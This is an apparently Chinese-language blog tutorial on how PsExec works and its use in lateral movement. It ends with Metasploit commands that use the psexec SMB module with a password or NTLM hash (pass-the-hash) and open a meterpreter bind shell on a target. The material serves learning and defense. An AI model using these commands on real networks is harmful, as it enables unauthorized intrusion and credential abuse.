PSexec原理

PsExec​ 是一个Windows工具,它是Sysinternals套件的一部分,现在由微软提供。它被广泛用于远程执行程序,特别是在系统管理和网络测试中。PsExec​在横向移动(即在一个网络内部从一个节点到另一个节点移动)中的角色和原理可以这样概括:

  1. 远程执行命令: PsExec​ 允许用户在远程系统上执行程序和命令,就好像它们是在本地执行一样。这对于系统管理员来说是一个强大的功能,因为它允许他们在整个网络中的计算机上执行任务,而不必物理地在每台机器前操作。
  2. 使用Windows管理共享: PsExec​ 通常通过网络使用 Windows 管理共享(如 ADMIN$​)来运行程序。ADMIN$​ 是一个默认共享,通常指向远程系统的 C:\Windows​ 目录。
  3. 身份验证机制: 使用 PsExec​ 时,用户必须对远程系统进行身份验证。这通常涉及到提供远程系统上有效用户的用户名和密码。在某些配置中,它也可以利用已有的网络凭据(如通过 Windows 域认证)。
  4. 复制和执行: PsExec​ 先将要执行的程序复制到远程系统的 ADMIN$​ 共享,然后在远程系统上执行该程序。
  5. 清理: 执行完成后,PsExec​ 会尝试清理它在远程系统上创建的任何文件。

在网络安全领域,PsExec​ 也被恶意软件和攻击者用来实现横向移动。由于其能力强大且易于使用,攻击者经常利用它在已经被渗透的网络中移动,寻找数据和扩大攻击范围。因此,对于网络管理员来说,监控 PsExec​ 的使用并理解其工作原理是非常重要的,以便于检测和防止未经授权的使用。

为了安全地使用 PsExec​,强烈建议仅在必要时使用,并始终确保使用强密码和适当的网络安全措施。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
MSF:
#进行攻击前,先获取一个会话
#添加目标子网路由
route add 10.10.10.0 255.255.255.0 8
#挂代理

use exploit/windows/smb/psexec
show options
#配置模块选项,包括 RHOSTS(远程主机地址)、SMBUser(用户名)、SMBPass(密码)或 SMBDomain(域,如果适用)。例如:
set RHOSTS 192.168.1.101
set SMBUser administrator
set SMBPass password123
#如果您有一个有效的 Windows 系统的哈希(通常是NTLM哈希),您也可以使用它:
set SMBPass <LM哈希>:<NTLM哈希>
#根据目标系统和您的需要选择一个合适的有效载荷。例如,对于一个 Windows 目标,您可以使用:
set PAYLOAD windows/meterpreter/bind_tcp
set LHOST [您的IP地址]
set LPORT [监听端口]
#一旦所有必要的选项都已设置,使用以下命令运行模块:
exploit